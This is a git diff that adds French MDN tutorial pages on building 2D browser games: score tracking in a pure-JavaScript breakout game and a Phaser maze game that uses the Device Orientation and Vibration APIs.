drawPaddle();
+
+ +

Comparez votre code

+ +

Voici le code de référence auquel vous pouvez comparer le vôtre :

+ +

{{JSFiddleEmbed("https://jsfiddle.net/end3r/tgn3zscj/","","395")}}

+ +
+

Exercice: faites aller la raquette plus vite ou plus lentement, ou changez sa taille.

+
+ +

Dans le prochain chapitre

+ +

Maintenant, nous avons quelque chose qui ressemble à un jeu. Le seul problème, c'est que vous pouvez continuer à frapper la balle avec la raquette indéfiniment. Tout cela va changer dans le cinquième chapitre, Game over, lorsque nous commencerons à ajouter un état de fin de partie pour notre jeu.

+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Faire_rebondir_la_balle_sur_les_murs", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over")}}

diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html new file mode 100644 index 0000000000..090b0ea4cb --- /dev/null +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html @@ -0,0 +1,95 @@ +--- +title: Suivre le score et gagner +slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/detection_colisions", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

+ +
+

Ceci est la 8ème étape de ce tutoriel Gamedev Canvas. Vous pouvez trouver le code source tel qu'il devrait être après avoir terminé cette leçon à : Gamedev-Canvas-workshop/lesson8.html.

+
+ +

Détruire les briques est vraiment cool, mais pour être encore meilleur le jeu pourrait attribuer des points pour chaque brique touchée et compter le score total.

+ +

Calculer le score

+ +

Si vous pouvez voir votre score durant le jeu, vous pourrez impressioner vos amis. Vous avez besoin d'une variable pour stocker le score. Ajoutez ce qui suit dans votre JavaScript après le reste de vos variables : 

+ +
var score = 0;
+ +

Vous avez aussi besoin d'une fonction drawScore(), pour créer et mettre à jour l'affichage du score. Ajoutez ce qui suit après la fonction de détection de collision collisionDetection():

+ +
function drawScore() {
+    ctx.font = "16px Arial";
+    ctx.fillStyle = "#0095DD";
+    ctx.fillText("Score: "+score, 8, 20);
+}
+ +

Dessiner du texte sur un canvas revient à dessiner une forme. La définition de la police est identique à celle en CSS — vous pouvez définir la taille et le type avec la méthode   {{domxref("CanvasRenderingContext2D.font","font()")}}. Puis utilisez {{domxref("CanvasRenderingContext2D.fillStyle()","fillStyle()")}} pour définir la couleur de la police et {{domxref("CanvasRenderingContext2D.fillText","fillText()")}} pour définir la position du texte sur le canevas. Le premier paramètre est le texte lui-même — le code ci-dessus indique le nombre actuel de points — et les deux derniers paramètres sont les coordonnées où le texte est placé sur le canevas.

+ +

Pour attribuer le score à chaque collision avec une brique, ajoutez une ligne à la fonction collisionDetection() afin d'incrémenter la valeur de la variable score à chaque détection d'une collision. Ajoutez à votre code la ligne mise en évidence ci-dessous :

+ +
function collisionDetection() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(b.status == 1) {
+                if(x > b.x && x < b.x+brickWidth && y > b.y && y < b.y+brickHeight) {
+                    dy = -dy;
+                    b.status = 0;
+                    score++;
+                }
+            }
+        }
+    }
+}
+ +

Appelez la fonction drawScore() dans la fonction draw() pour garder le score à jour à chaque nouvelle frame — ajoutez la ligne suivante dans la fonction draw(), en dessous de l'appel à drawPaddle() :

+ +
drawScore();
+ +

Ajoutez un message de victoire lorsque toutes les briques ont été détruites

+ +

Le comptage des points fonctionne bien, mais vous ne les compterez pas indéfiniment. Alors qu'en est-il du score lorsque toutes les briques ont été détruites ? Après tout c'est l'objectif principal du jeu. Vous devez donc afficher un message de victoire si toutes les briques ont été détruites. Ajoutez la section mise en évidence dans votre fonction collisionDetection():

+ +
function collisionDetection() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(b.status == 1) {
+                if(x > b.x && x < b.x+brickWidth && y > b.y && y < b.y+brickHeight) {
+                    dy = -dy;
+                    b.status = 0;
+                    score++;
+                    if(score == brickRowCount*brickColumnCount) {
+                        alert("C'est gagné, Bravo!");
+                        document.location.reload();
+                        clearInterval(interval); // Needed for Chrome to end game
+                    }
+                }
+            }
+        }
+    }
+}
+ +

Grâce à ça, les utilisateurs peuvent réellement gagner le jeu. La fonction document.location.reload() recharge la page et redémarre le jeu au clic sur le bouton d'alerte.

+ +

Comparez votre code

+ +

Le code réalisé fonctionne et ressemble à cela, au cas où vous voudriez le comparer avec le vôtre : 

+ +

{{JSFiddleEmbed("https://jsfiddle.net/raymondjplante/b3z2Lpu9/","","395")}}

+ +
+

Exercice: Ajoutez plus de points par brique touchée et indiquez le nombre de points gagnés dans la boîte d'alerte de fin de partie.

+
+ +

Prochaine étape

+ +

Le jeu est plutôt réussi à ce stade. Dans la prochaine leçon, vous le rendrez plus attraynt en ajoutant le contrôle à la souris.

+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/detection_colisions", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

diff --git a/files/fr/games/tutorials/html5_gamedev_phaser_device_orientation/index.html b/files/fr/games/tutorials/html5_gamedev_phaser_device_orientation/index.html new file mode 100644 index 0000000000..1a3c93c7d1 --- /dev/null +++ b/files/fr/games/tutorials/html5_gamedev_phaser_device_orientation/index.html @@ -0,0 +1,443 @@ +--- +title: Jeu 2D avec l'API Device orientation +slug: Games/Workflows/HTML5_Gamedev_Phaser_Device_Orientation_FR +translation_of: Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation +--- +
{{GamesSidebar}}

{{IncludeSubnav("/fr/docs/Jeux")}}  

+ +

Dans ce tutoriel, nous allons passer par le processus de construction d'un jeu mobile HTML5 qui utilise les API  Device Orientation  et Vibration   pour améliorer le "gameplay" et est construit avec le "framework" Phaser . La connaissance JavaScript de base est recommandée pour tirer le meilleur parti de ce tutoriel.

+ +

Exemple de jeu

+ +

A la fin de ce tutoriel, vous aurez une démo entièrement fonctionnelle du jeu : Cyber Orb. Il ressemblera à quelque chose comme cela :

+ +

A 2D game board featuring a small yellow ball. There is a large black hole for the ball to escape down, and a number of barriers blocking the ball from escaping.

+ +

Le framework Phaser

+ +

Phaser est un framework pour créer des jeux mobiles et PC en utilisant les technologies HTML5. Malgré son manque de maturité, la communauté est assez active, et il évolue rapidement.  Les sources sont sur Github, lisez y la documentation de base, jetez un œil aux exemples. Le framework Phaser offre un ensemble d'outils qui permettent d'accélérer le développement et aident à mettre en oeuvre les tâches courantes nécessaires au développement d'un  jeu.

+ +

Mise en place du projet

+ +

Vous pouvez voir le code d'exemple du projet sur GitHub. La structure n'est pas compliquée : le point de départ est le fichier index.html où nous initialisons le framework, mettons en place le {{htmlelement("canvas")}} et jouons au jeu.

+ +

Screenshot of the GitHub repository with the Cyber Orb game code, listing the folders and the files in the main structure.

+ +

Vous pouvez l'ouvir avec votre navigateur préféré pour essayer le jeu. Il y a aussi trois dossiers :

+ +
    +
  • img : toutes les images utilisées dans le jeu
    • +
  • src : les fichiers JavaScript où le code source est défini
    • +
  • audio : tous les fichiers son du jeu
    • +
+ +

Mettre en place le canevas

+ +

Nous voulons un rendu de notre jeu sur un canevas, mais nous ne le ferons pas manuellement - cela sera pris en charge par le framework. Disons-le : notre point de départ est le fichier index.html avec le contenu suivant. Vous pouvez créer vous-même si vous voulez suivre :

+ +
<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="utf-8" />
+    <title>Cyber Orb demo</title>
+    <style> body { margin: 0; background: #333; } </style>
+    <script src="src/phaser-arcade-physics.2.2.2.min.js"></script>
+    <script src="src/Boot.js"></script>
+    <script src="src/Preloader.js"></script>
+    <script src="src/MainMenu.js"></script>
+    <script src="src/Howto.js"></script>
+    <script src="src/Game.js"></script>
+</head>
+<body>
+<script>
+(function() {
+    var game = new Phaser.Game(320, 480, Phaser.CANVAS, 'game');
+    game.state.add('Boot', Ball.Boot);
+    game.state.add('Preloader', Ball.Preloader);
+    game.state.add('MainMenu', Ball.MainMenu);
+    game.state.add('Howto', Ball.Howto);
+    game.state.add('Game', Ball.Game);
+    game.state.start('Boot');
+})();
+</script>
+</body>
+</html>
+ +

Ça ressemble à une simple page de site HTML avec des éléments basiques dans la balise <head> (en-tête) : police de caractères, titre, CSS et inclusion des fichiers Javascript. Le <body> (corps) contient l'initialisation du framework et la définition des états du jeu.

+ +
var game = new Phaser.Game(320, 480, Phaser.CANVAS, 'game');
+ +

La ligne ci-dessus va initialiser l'instance de Phaser - les arguments sont la largeur et la hauteur du canevas, la méthode de rendu (nous utilisons CANVAS, mais il y a aussi les options WEBGL et AUTO disponibles) et l'ID optionnel du conteneur DOM dans lequel nous voulons placer le canevas. Si rien n'est spécifié dans ce dernier argument, ou si l'élément n'est pas trouvé, le canvas sera ajouté à la balise <body>. Sans le framework, pour ajouter l'élément canvas à la page, il faudrait écrire quelque chose comme ça dans la balise <body>:

+ +
<canvas id='game' width='320' height='480'></canvas>
+ +

La chose importante à retenir est que le framework met en place des méthodes utiles pour accélérer beaucoup de choses comme la manipulation d'images ou la gestion des éléments, ce qui serait beaucoup plus difficile à faire manuellement.

+ +
+

Note : Vous pouvez lire l'article Building Monster Wants Candy pour une introduction approfondie aux fonctions et méthodes de base de Phaser.

+
+ +

Retour aux états du jeu : la ligne ci-dessous ajoute un nouvel état appelé Boot au jeu :

+ +
game.state.add('Boot', Ball.Boot);
+ +

La première valeur est le nom de l'état et la seconde est l'objet que nous voulons lui assigner. La méthode start démarre l'état donné et le rend actif. Voyons ce que les états sont en réalité. 

+ +

Gestion des états du jeu

+ +

Les états du jeu dans Phaser sont différentes phases du jeu. Dans notre cas, ils sont chargés depuis des fichiers Javascript pour mieux les maintenir par la suite. Dans ce jeu nous avons les états : Boot (démarrage), Preloader (préchargement), MainMenu (menu principal),  Howto (comment jouer) et Game (jeu). Boot s'occupe d'initialiser quelques paramètres, Preloader charge tous les graphismes et les sons, MainMenu est le menu avec le bouton start, Howto affiche les instructions "comment jouer" et Game, est l'état qui permet de  jouer. Passons rapidement au contenu de ces états.

+ +

Boot.js (démarrage)

+ +

L'état Boot est le premier du jeu.

+ +
var Ball = {
+    _WIDTH: 320,
+    _HEIGHT: 480
+};
+Ball.Boot = function(game) {};
+Ball.Boot.prototype = {
+    preload: function() {
+        this.load.image('preloaderBg', 'img/loading-bg.png');
+        this.load.image('preloaderBar', 'img/loading-bar.png');
+    },
+    create: function() {
+        this.game.scale.scaleMode = Phaser.ScaleManager.SHOW_ALL;
+        this.game.scale.pageAlignHorizontally = true;
+        this.game.scale.pageAlignVertically = true;
+        this.game.state.start('Preloader');
+    }
+};
+ +

Le principal objet "Ball"  est défini et nous ajoutons deux variables appelées _WIDTH et _HEIGHT qui sont la largeur et la hauteur du caneva du jeu — elles nous aideront à positionner les éléments à l'écran. Nous chargeons d'abord deux images qui seront utilisées plus tard dans l'état Preload (préchargement) pour montrer la progression du chargement de tous les autres éléments. La fonction create contient une configuration de base : nous configurons la mise à l'échelle et l'alignement du canevas et passons à l'état Preload lorsque tout est prêt.

+ +

Preloader.js (préchargement)

+ +

L'état Preloader prend soin de charger tous les éléments :

+ +
Ball.Preloader = function(game) {};
+Ball.Preloader.prototype = {
+    preload: function() {
+        this.preloadBg = this.add.sprite((Ball._WIDTH-297)*0.5, (Ball._HEIGHT-145)*0.5, 'preloaderBg');
+        this.preloadBar = this.add.sprite((Ball._WIDTH-158)*0.5, (Ball._HEIGHT-50)*0.5, 'preloaderBar');
+        this.load.setPreloadSprite(this.preloadBar);
+
+        this.load.image('ball', 'img/ball.png');
+        // ...
+        this.load.spritesheet('button-start', 'img/button-start.png', 146, 51);
+        // ...
+        this.load.audio('audio-bounce', ['audio/bounce.ogg', 'audio/bounce.mp3', 'audio/bounce.m4a']);
+    },
+    create: function() {
+        this.game.state.start('MainMenu');
+    }
+};
+ +

Il y a des images uniques, des feuilles de "sprites" et des fichiers audio chargés par le "framework". Dans cet état, la preloadBar (barre du préchargement) affiche la progression à l'écran. Cette progression des éléments chargés est visualisée par le framework avec l'utilisation d'une image. Avec chaque élément chargé, vous pouvez voir plus de l'image preloadBar: de 0% à 100%, mis à jour sur chaque image. Une fois que tous les éléments sont chargés, l'état MainMenu est lancé.

+ + + +

L'état MainMenu montre le menu principal du jeu, sur lequel vous pouvez lancer le jeu en cliquant sur le bouton.

+ +
Ball.MainMenu = function(game) {};
+Ball.MainMenu.prototype = {
+    create: function() {
+        this.add.sprite(0, 0, 'screen-mainmenu');
+        this.gameTitle = this.add.sprite(Ball._WIDTH*0.5, 40, 'title');
+        this.gameTitle.anchor.set(0.5,0);
+        this.startButton = this.add.button(Ball._WIDTH*0.5, 200, 'button-start', this.startGame, this, 2, 0, 1);
+        this.startButton.anchor.set(0.5,0);
+        this.startButton.input.useHandCursor = true;
+    },
+    startGame: function() {
+        this.game.state.start('Howto');
+    }
+};
+ +

Pour créer un nouveau bouton, il y a la méthode add.button avec la liste suivante d'arguments facultatifs :

+ +
    +
  • position absolue supérieure sur Canvas en pixels.
    • +
  • position gauche absolue sur Canvas en pixels.
    • +
  • nom de l'élément image utilisé par le bouton.
    • +
  • fonction qui doit être exécutée quand quelqu'un clique sur le bouton.
    • +
  • le contexte d'exécution.
    • +
  • cadre de l'objet image utilisé comme état du bouton "hover" (flottant) .
    • +
  • cadre de l'objet image utilisé comme état du bouton "normal" ou "out" (en dehors).
    • +
  • cadre de l'objet image utilisé comme état du bouton "click" ou "down" (en bas).
    • +
+ +

Anchor.set configure le point d'ancrage du bouton sur lequel tous les calculs de la position sont appliqués. Dans notre cas, il est ancré à mi-chemin du bord gauche et au début du bord supérieur, de sorte qu'il peut être facilement centré horizontalement sur l'écran sans avoir besoin de connaître sa largeur.

+ +

Lorsque le bouton de démarrage est enfoncé, au lieu de sauter directement dans l'action, le jeu affichera l'écran avec les informations sur la façon de jouer.

+ +

Howto.js (comment jouer)

+ +
Ball.Howto = function(game) {
+};
+Ball.Howto.prototype = {
+    create: function() {
+        this.buttonContinue = this.add.button(0, 0, 'screen-howtoplay', this.startGame, this);
+    },
+    startGame: function() {
+        this.game.state.start('Game');
+    }
+};
+ +

L'état Howto affiche les instructions du jeu à l'écran avant de commencer le jeu. Après avoir cliqué sur l'écran, le jeu réel est lancé.

+ +

Game.js (jeu)

+ +

L'état game à partir du fichier Game.js est le lieu où toute la magie opère. Toute l'initialisation est dans la fonction create () (lancée une fois au début du jeu). Après cela, certaines fonctionnalités nécessiteront d'autres codes à contrôler — nous écrirons nos propres fonctions pour gérer des tâches plus complexes. En particulier, notez  la fonction update () exécutée à chaque frame, qui met à jour des choses telles que la position de la balle.

+ +
Ball.Game = function(game) {};
+Ball.Game.prototype = {
+    create: function() {},
+    initLevels: function() {},
+    showLevel: function(level) {},
+    updateCounter: function() {},
+    managePause: function() {},
+    manageAudio: function() {},
+    update: function() {},
+    wallCollision: function() {},
+    handleOrientation: function(e) {},
+    finishLevel: function() {}
+};
+ +

Les fonctions create et update sont spécifiques au framework, tandis que d'autres seront nos créations :

+ +
    +
  • initLevels initialise les données de niveau.
    • +
  • showLevel affiche à l'écran les données du niveau.
    • +
  • updateCounter met à jour le temps passé à jouer chaque niveau et enregistre le temps total passé à jouer sur le jeu. 
    • +
  • managePause met en pause et reprend le jeu.
    • +
  • manageAudio allume et éteint le son.
    • +
  • wallCollision est exécuté quand la balle frappe les murs ou d'autres objets.
    • +
  • handleOrientation est la fonction liée à l'événement responsable de l'API d'orientation des périphériques, fournissant les contrôles de mouvement lorsque le jeu est en cours d'exécution sur un périphérique mobile avec le matériel approprié.
    • +
  • finishLevel charge un nouveau niveau lorsque le niveau actuel est terminé ou termine le jeu si le niveau final est terminé.
    • +
+ +

Ajout de la balle et de ses mécanismes de mouvement

+ +

D'abord, dans la fonction create, initialisons l'objet 'ball' et assignons lui quelques propriétés :

+ +
ball = this.add.sprite((320-22)/2, 450, 'ball');
+ball.anchor.setTo(0.5, 0.5);
+ball.body.bounce.setTo(0.3, 0.3);
+ball.body.setCircle(10, 11, 11);
+ball.body.linearDamping = 1;
+ +

On ajoute un "sprite" à une place donnée sur l'écran en utilisant l'image 'ball'. On ajoute aussi le point de repère de tous les calculs physiques ( 'anchor' ) au milieu de la balle,  permettant au moteur physique d'arcade (qui gère toute la physique du mouvement de la balle) et en définissant la taille du corps pour la détection de collision . La propriété bounce est utilisée pour définir le rebondissement de la balle quand elle frappe les obstacles.

+ +

Contrôle de la balle

+ +

C'est déjà sympa d'avoir une balle prête à être lancée dans la zone de jeu, mais c'est aussi important de pouvoir le faire. Maintenant on va ajouter la possibilité de contrôler la balle avec le clavier sur les ordinateurs, et ensuite on ajoutera l'implémentation de l'API  Device Orientation ( gyroscope). Maintenant, concentrons-nous sur le clavier en ajoutant la ligne suivante pour la fonction create() :

+ +
this.keys = this.game.input.keyboard.createCursorKeys();
+ +

Comme vous pouvez le voir, Phaser a une fonction spéciale  createCursorKeys() qui nous donnera un objet avec des gestionnaires d'événements pour les quatre touches fléchées : haut, bas, gauche et droite. 

+ +

Ensuite, nous allons ajouter le code suivant dans la fonction update (), il sera lancé à chaque "frame". L'objet this.keys sera vérifié aux pressions de touche du joueur, la balle réagira donc en conséquence :

+ +
if(this.keys.left.isDown) {
+    this.ball.body.velocity.x -= this.movementForce;
+}
+else if(this.keys.right.isDown) {
+    this.ball.body.velocity.x += this.movementForce;
+}
+if(this.keys.up.isDown) {
+    this.ball.body.velocity.y -= this.movementForce;
+}
+else if(this.keys.down.isDown) {
+    this.ball.body.velocity.y += this.movementForce;
+}
+ +

De cette manière on peut vérifier quelle touche est pressée à un moment donné et appliquer une force définie à la balle, ce qui a pour effet d'augmenter sa vélocité dans la bonne direction.

+ +

Implémentation de l'API Device Orientation (gyroscopique)

+ +

La particularité du jeu est qu'il utilise l'API gyroscopique sur les mobiles. Grâce à elle, vous pouvez jouer au jeu en inclinant l'appareil dans la direction où vous voulez que la balle aille. Voilà le code de la fonction  create() qui l'implémente :

+ +
window.addEventListener("deviceorientation", this.handleOrientation, true);
+ +

L'ajout d'un évènement "listener" à l'évenement "deviceorientation" et la modification de la fonction handleOrientationressembleront à ceci :

+ +
handleOrientation: function(e) {
+    var x = e.gamma;
+    var y = e.beta;
+    Ball._player.body.velocity.x += x;
+    Ball._player.body.velocity.y += y;
+}
+ +

Plus l'appareil est incliné, plus la force appliquée à la balle et sa vélocité sont importantes.

+ +

An explanation of the X, Y and Z axes of a Flame mobile device with the Cyber Orb game demo on the screen.

+ +
+

Note: Pour en savoir plus sur l'implémentation de l'orientation du périphérique et sur le code brut, lisez Gardez-le au niveau : en réponse aux changements d'orientation du périphérique. 

+
+ +

Ajout du trou

+ +

L'objectif principal du jeu est de déplacer la balle du point de départ vers le point d'arrivée, qui est dans notre cas, un trou dans le sol. L'implémentation ressemble beaucoup à celle de la création de la balle et est ajoutée dans la fonction create() de l'état Game :

+ +
this.hole = this.add.sprite(Ball._WIDTH*0.5, 90, 'hole');
+this.physics.enable(this.hole, Phaser.Physics.ARCADE);
+this.hole.anchor.set(0.5);
+this.hole.body.setSize(2, 2);
+ +

La seule différence est que 'hole.body' est mis à immovable(fixe), il ne bougera donc pas quand la balle le touchera et la collision sera alors calculée ( ce point sera approfondit plus loin dans cet article ).

+ +

Création du mur du labyrinthe

+ +

Pour rendre le jeu plus difficile et plus intéressant, nous allons ajouter des obstacles entre la balle et la sortie. Nous pourrions utiliser un éditeur de niveau, mais pour ce tutoriel, créons quelque chose par nous-mêmes.

+ +

Pour conserver les informations du bloc, nous utiliserons un tableau de données de niveau : pour chaque bloc, nous stockons les positions absolues supérieure et gauche en pixels (x et y) et le type du bloc - horizontal ou vertical (t avec le 'w 'valeur signifiant largeur et' h 'signifiant hauteur). Ensuite, pour charger le niveau, nous allons analyser les données et afficher les blocs spécifiques à ce niveau. Dans la fonction initLevels, nous avons :

+ +
this.levelData = [
+    [
+        { x: 96, y: 224, t: 'w' }
+    ],
+    [
+        { x: 72, y: 320, t: 'w' },
+        { x: 200, y: 320, t: 'h' },
+        { x: 72, y: 150, t: 'w' }
+    ],
+    // ...
+];
+ +

Chaque élément de tableau contient une collection de blocs avec une position x et y et une valeur t pour chacun. Après levelData, mais toujours dans la fonction initLevels, nous ajoutons les blocs dans un tableau de la boucle for en utilisant certaines des méthodes spécifiques au framework :

+ +
for(var i=0; i<this.maxLevels; i++) {
+    var newLevel = this.add.group();
+    newLevel.enableBody = true;
+    newLevel.physicsBodyType = Phaser.Physics.ARCADE;
+    for(var e=0; e<this.levelData[i].length; e++) {
+        var item = this.levelData[i][e];
+        newLevel.create(item.x, item.y, 'element-'+item.t);
+    }
+    newLevel.setAll('body.immovable', true);
+    newLevel.visible = false;
+    this.levels.push(newLevel);
+}
+ +

Tout d'abord, add.group () est utilisé pour créer un nouveau groupe d'éléments. Ensuite, le type de corps ARCADE est défini pour ce groupe pour activer les calculs physiques. La méthode newLevel.create crée de nouveaux éléments dans le groupe avec les positions de départ haut et gauche et sa propre image. Si vous ne souhaitez pas parcourir à nouveau la liste des éléments pour ajouter explicitement une propriété à chacun d'eux, vous pouvez utiliser setAll sur un groupe pour l'appliquer à tous les éléments de ce groupe.
+
+ Les objets sont stockés dans le tableau this.levels, qui est ,par défaut, invisible. Pour charger des niveaux spécifiques, nous nous assurons que les niveaux précédents sont cachés et affichent le niveau actuel :

+ +
showLevel: function(level) {
+    var lvl = level | this.level;
+    if(this.levels[lvl-2]) {
+        this.levels[lvl-2].visible = false;
+    }
+    this.levels[lvl-1].visible = true;
+}
+ +

Grâce à cela, le jeu donne au joueur un défi : il doit maintenant rouler la balle à travers l'aire de jeu et la guider dans le labyrinthe construit à partir des blocs. C'est juste un exemple de chargement des niveaux, et il n'y a que 5, juste pour présenter l'idée, mais vous pouvez travailler à l'étendre par vous-même.

+ +

Détection de collision

+ +

À ce stade, nous avons la balle qui est contrôlée par le joueur, le trou à atteindre et les obstacles qui bloquent la route. Il y a un problème cependant : notre jeu n'a pas encore de détection de collision, donc il ne se passe rien quand la balle frappe les blocs, elle passe juste à travers. Réparons-le ! Les bonnes nouvelles sont que le cadre se chargera de calculer la détection de collision, il suffit de spécifier les objets en collision dans la fonction update () :

+ +
this.physics.arcade.collide(this.ball, this.borderGroup, this.wallCollision, null, this);
+this.physics.arcade.collide(this.ball, this.levels[this.level-1], this.wallCollision, null, this);
+ +

Cela dira à la structure d'exécuter la fonction wallCollision lorsque la balle frappe l'un des murs. Nous pouvons utiliser la fonction wallCollision pour ajouter toutes les fonctionnalités que nous voulons comme jouer le son du rebondissement et implémenter l'API Vibration.

+ +

Ajout de son

+ +

Parmi les éléments préchargés, il y avait une piste audio (dans différents formats pour la compatibilité avec les navigateurs), que nous pouvons utiliser maintenant. Il doit d'abord être défini dans la fonction create () :

+ +
this.bounceSound = this.game.add.audio('audio-bounce');
+ +

Si l'état de l'audio est true (vrai) (les sons du jeu sont activés), nous pouvons le jouer dans la fonction wallCollision:

+ +
if(this.audioStatus) {
+    this.bounceSound.play();
+}
+ +

C'est tout - charger et jouer les sons est facile avec Phaser.

+ +

Implementing the Vibration API

+ +

Lorsque la détection de collision fonctionne comme prévu, ajoutons quelques effets spéciaux avec l'aide de l'API Vibration.

+ +

A visualization of the vibrations of a Flame mobile device with the Cyber Orb game demo on the screen.

+ +

La meilleure façon de l'utiliser dans notre cas est de faire vibrer le téléphone chaque fois que la balle frappe les murs, à l'intérieur de la fonction wallCollision :

+ +
if("vibrate" in window.navigator) {
+    window.navigator.vibrate(100);
+}
+ +

Si la méthode vibrate est prise en charge par le navigateur et disponible dans l'objet window.navigator, faites vibrer le téléphone pendant 100 millisecondes. C'est tout !

+ +

Ajout du temps écoulé

+ +

Pour améliorer la rejouabilité et donner aux joueurs l'option de rivaliser les uns avec les autres, nous pouvons introduire le temps écoulé. Grâce à cela, le joueur peut jouer les niveaux encore et encore en essayant d'améliorer son score. Pour implémenter cela dans le jeu, nous devons créer une variable pour stocker le nombre réel de secondes écoulées depuis le début du jeu et le montrer au joueur dans le jeu. Définissons d'abord la variable :

+ +
this.timer = 0; // time elapsed in the current level
+this.totalTimer = 0; // time elapsed in the whole game
+ +

Ensuite, juste après, nous pouvons initialiser les objets texte nécessaires à l'affichage de cette information pour l'utilisateur:

+ +
this.timerText = this.game.add.text(15, 15, "Time: "+this.timer, this.fontBig);
+this.totalTimeText = this.game.add.text(120, 30, "Total time: "+this.totalTimer, this.fontSmall);
+ +

Nous définissons les positions supérieure et gauche du texte, le contenu qui sera affiché et le style appliqué au texte. Nous l'avons imprimé à l'écran, mais il serait bon de mettre à jour les valeurs toutes les secondes :

+ +
this.time.events.loop(Phaser.Timer.SECOND, this.updateCounter, this);
+ +

Cette boucle, également dans la fonction create , exécutera la fonction updateCounter à chaque seconde du début du jeu afin que nous puissions appliquer les modifications en conséquence. Voici à quoi ressemble la fonction updateCounter complète :

+ +
updateCounter: function() {
+    this.timer++;
+    this.timerText.setText("Time: "+this.timer);
+    this.totalTimeText.setText("Total time: "+(this.totalTimer+this.timer));
+},
+ +

Comme vous pouvez le voir, nous incrémentons la variable this.timer et mettons à jour le contenu des objets texte avec les valeurs actuelles à chaque itération, de sorte que le joueur voit le temps écoulé.

+ +

Finition du niveau et du jeu

+ +

La balle tourne sur l'écran, le minutage fonctionne et nous avons le trou créé que nous devons atteindre. Maintenant, mettons en place la possibilité de finir le niveau ! La ligne suivante de la fonction update () ajoute un écouteur qui se déclenche lorsque la balle arrive au trou.

+ +
this.physics.arcade.overlap(this.ball, this.hole, this.finishLevel, null, this);
+ +

Cela fonctionne de la même manière que la méthode collide expliquée précédemment. Lorsque la balle chevauche le trou (au lieu de collision), la fonction finishLevel est exécutée :

+ +
finishLevel: function() {
+    if(this.level >= this.maxLevels) {
+        this.totalTimer += this.timer;
+        alert('Congratulations, game completed!\nTotal time of play: '+this.totalTimer+' seconds!');
+        this.game.state.start('MainMenu');
+    }
+    else {
+        alert('Congratulations, level '+this.level+' completed!');
+        this.totalTimer += this.timer;
+        this.timer = 0;
+        this.level++;
+        this.timerText.setText("Time: "+this.timer);
+        this.totalTimeText.setText("Total time: "+this.totalTimer);
+        this.levelText.setText("Level: "+this.level+" / "+this.maxLevels);
+        this.ball.body.x = this.ballStartPos.x;
+        this.ball.body.y = this.ballStartPos.y;
+        this.ball.body.velocity.x = 0;
+        this.ball.body.velocity.y = 0;
+        this.showLevel();
+    }
+},
+ +

Si le niveau actuel est égal au nombre maximum de niveaux (dans ce cas, 5), le jeu est terminé - vous recevrez un message de félicitations avec le nombre de secondes écoulées pendant toute la partie et un clique sur un bouton vous ramène au menu principal.

+ +

Si le niveau actuel est inférieur à 5, toutes les variables nécessaires sont réinitialisées et le niveau suivant est chargé.

+ +

Idées pour de nouvelles fonctionnalités

+ +

Ceci est simplement une démonstration de travail d'un jeu qui pourrait avoir beaucoup de fonctionnalités supplémentaires. Nous pouvons par exemple ajouter des "power-ups" à collecter en cours de route qui feront rouler notre balle plus rapidement, arrêter le chronomètre pendant quelques secondes ou donner à la balle des pouvoirs spéciaux pour traverser les obstacles. Il y a aussi de la place pour les pièges qui ralentiront la balle ou rendront le but plus difficile à atteindre. Vous pouvez créer plus de niveaux de difficulté croissante. Vous pouvez même mettre en œuvre des trophées, des classements et des médailles pour différentes actions du jeu. Il y a des possibilités infinies - elles ne dépendent que de votre imagination.

+ +

Résumé

+ +

J'espère que ce tutoriel vous aidera à plonger dans le développement de jeux en 2D et vous inspirera pour créer des jeux géniaux par vous-même. Vous pouvez jouer au jeu de démonstration Cyber Orb et consulter son code source sur GitHub.

+ +

HTML5 nous donne des outils bruts, les frameworks construits au-dessus deviennent plus rapides et meilleurs, alors c'est un bon moment pour le développement de jeux web. Dans ce tutoriel, nous avons utilisé Phaser, mais il existe un certain nombre d' autres frameworks qui méritent d'être considérés aussi, comme ImpactJS, Construct 2 ou PlayCanvas — cela dépend de vos préférences, de vos compétences en codage (ou de leur absence), de l'échelle du projet, des exigences et d'autres aspects. Vous devriez les regarder tous et décider lequel convient le mieux à vos besoins.

diff --git a/files/fr/games/tutorials/index.html b/files/fr/games/tutorials/index.html new file mode 100644 index 0000000000..a518d5ea72 --- /dev/null +++ b/files/fr/games/tutorials/index.html @@ -0,0 +1,28 @@ +--- +title: Workflows for different game types +slug: Games/Workflows +tags: + - Canvas + - JavaScript + - Jeux + - Web +translation_of: Games/Tutorials +--- +
{{GamesSidebar}}

 

+ +
{{IncludeSubnav("/fr/docs/Jeux")}}
+ +

Cette page contient plusieurs séries de tutoriels qui mettent en évidence différentes démarches pour créer efficacement différents types de jeux Web.

+ +
+
Jeu 2D avec du pur JavaScript
+
Dans ce tutoriel étape par étape, vous implémenterez un jeu en utilisant du pur JavaScript. En cours de route, vous apprendrez les bases de l'utilisation de l'élément {{htmlelement ("canvas")}} pour implémenter les mécanismes fondamentaux du jeu tels que le rendu et les images en mouvement, la détection de collision, les mécanismes de contrôle et les états gagnants et perdants.
+
Jeu 2D avec Phaser
+
Dans ce tutoriel étape par étape, vous implémenterez un jeu en utilisant le framework de jeu HTML5 Phaser . Cette idée ici est d'enseigner quelques-uns des fondamentaux (et des avantages) de travailler avec des cadres (frameworks), avec les mécanismes de jeu.
+
Jeu 2D avec API Device orientation
+
